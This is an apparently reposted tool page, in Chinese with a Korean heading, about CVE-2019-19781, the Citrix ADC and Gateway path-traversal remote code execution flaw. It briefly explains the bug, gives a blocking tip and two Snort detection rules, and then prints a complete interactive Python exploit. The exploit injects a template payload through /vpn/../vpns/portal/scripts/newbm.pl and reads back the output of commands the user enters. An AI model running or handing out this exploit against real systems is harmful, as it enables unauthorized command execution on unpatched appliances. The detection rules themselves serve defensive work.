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CVE-2019-19781 — 远程代码执行、Citirx ADC和Gateway目录遍历 | Kitploit
工具/GitHubGitHub/tpdlshdmlrkfmcla/cve-2019-19781
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubtpdlshdmlrkfmcla/cve-2019-19781

CVE-2019-19781

远程代码执行、Citirx ADC和Gateway目录遍历

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本文是关于CVE-2019-19781中登记的Citrix ADC和Gateway目录遍历远程代码执行RCE的文章。 该远程代码执行漏洞是由于在/vpn路径下的../vpns中对smb.conf文件的验证不充分而导致的。 窃取系统配置信息或服务器信息

  1. Citrix
  • 1989年成立的美国跨国软件公司
  • 提供服务器、应用程序和桌面虚拟化、网络、SaaS、云计算技术
  • 在存在漏洞的Citrix产品系列中,由于缺乏输入值验证而导致的目录遍历漏洞 - 由于直接使用请求路径而无需验证输入而导致的漏洞
  • 在存在漏洞的Citrix产品系列的/vpns/路径下,存在一个perl脚本,可以在无需认证的情况下访问包含目录的受限文件
  • 该perl脚本直接使用请求的路径

path delete

  • 阻止包含/../的请求以及试图访问/vpns/目录的请求

POC CODE


alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")

if len(sys.argv) < 2:
  print("[-] No URL provided")
  sys.exit(0)

while True:
    try:
      command = input("command > ")

      random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
      print("[+] Adding bookmark", random_xml + ".xml")

      burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                      random_xml, "NSC_NONCE": "c", "Connection": "close"}
      burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
      r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)

      if r.status_code == 200:
        print("[+] Bookmark added")
      else:
        print("\n[-] Target not vulnerable or something went wrong")
        sys.exit(0)

      burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                       random_xml, "NSC_NONCE": "c", "Connection": "close"}
      r = requests.get(burp0_url, headers=burp0_headers,verify=False)

      replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
      print("[+] Result of the command: \n")
      print(replaced)

    except KeyboardInterrupt:
            print("Exiting...")
            break

참고

  • https://nvd.nist.gov/vuln/detail/CVE-2019-19781

  • https://github.com/mpgn/CVE-2019-19781

  • https://github.com/jas502n/CVE-2019-19781

  • https://www.cisa.gov/uscert/ncas/alerts/aa20-031a

  • https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35250&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTktMTk3ODE=

  • https://support.citrix.com/article/CTX267027/cve201919781-vulnerability-in-citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance

  • https://support.citrix.com/article/CTX276688/citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance-security-update

  • https://www.tripwire.com/state-of-security/citrix-netscaler-cve-2019-19781-what-you-need-to-know

  • https://www.tenable.com/blog/cve-2019-19781-exploit-scripts-for-remote-code-execution-vulnerability-in-citrix-adc-and

  • https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-citrix-adc-and-citrix-gateway-directory-traversal-vulnerability-cve-2019-19781/

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